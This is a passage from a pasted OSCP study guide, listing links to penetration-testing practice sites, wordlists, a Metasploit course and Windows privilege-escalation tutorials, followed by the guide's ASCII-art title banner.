2667. -   Vuln Hub - Vulnerable by design
2668.     [*https://www.vulnhub.com/*](https://www.vulnhub.com/)
2669.
2670. -   Exploit Exercises
```

```
    [*https://exploit-exercises.com/*](https://exploit-exercises.com/)

-   SecLists - collection of multiple types of lists used during
    security assessments. List types include usernames, passwords, URLs,
    sensitive data grep strings, fuzzing payloads
    [*https://github.com/danielmiessler/SecLists*](https://github.com/danielmiessler/SecLists)

-   Security Tube
    [*http://www.securitytube.net/*](http://www.securitytube.net/)

-   Metasploit Unleashed - free course on how to use Metasploit
    [*https://www.offensive-security.com/metasploit-unleashed*](https://www.offensive-security.com/metasploit-unleashed/)*/*

-   0Day Security Enumeration Guide
    [*http://www.0daysecurity.com/penetration-testing/enumeration.html*](http://www.0daysecurity.com/penetration-
testing/enumeration.html)

-   Github IO Book - Pen Testing Methodology
    [*https://monkeysm8.gitbooks.io/pentesting-methodology/*](https://monkeysm8.gitbooks.io/pentesting-methodology/)

Windows Privledge Escalation
============================================================================================================

-   Fuzzy Security
    [*http://www.fuzzysecurity.com/tutorials/16.html*](http://www.fuzzysecurity.com/tutorials/16.html)

-   accesschk.exe
    https://technet.microsoft.com/en-us/sysinternals/bb664922
```

```
2698.
2699. -   Windows Priv Escalation For Pen Testers
2700.     https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
2701.
2702. -   Elevating Privileges to Admin and Further
2703.     https://hackmag.com/security/elevating-privileges-to-administrative-and-further/
2704.
2705. -   Transfer files to windows machines
2706.     https://blog.netspi.com/15-ways-to-download-a-file/
```

RAW Paste Data

```
# OSCP-Survival-Guide
<pre>
   _____ _____ _____ _____   _____                 _           _   _____       _     _
  |  _  /  ___/  __ \|  ___ \ /  ___|               (_)         | | |  __ \     (_)   | |
  | | | \ `--.| /  \/| |_/ / \ `--. _   _ _ ____   _____   ____ _| | | |  \/_   _ _  __| | ___
  | | | |`--. \ |    |  __/   `--. \ | | | '__\ \ / / \ \ / / _` | | | | __| | | | |/ _` |/ _ \
  \ \_/ /\__/ / \__/\| |     /\__/ / |_| | |   \ V /| |\ V / (_| | | | |_\ \ |_| | | (_| |  __/
   \___/\____/ \____/\_|     \____/ \__,_|_|    \_/ |_| \_/ \__,_|_|  \____/\__,_|_|_|\__,_|\___|
</pre>
```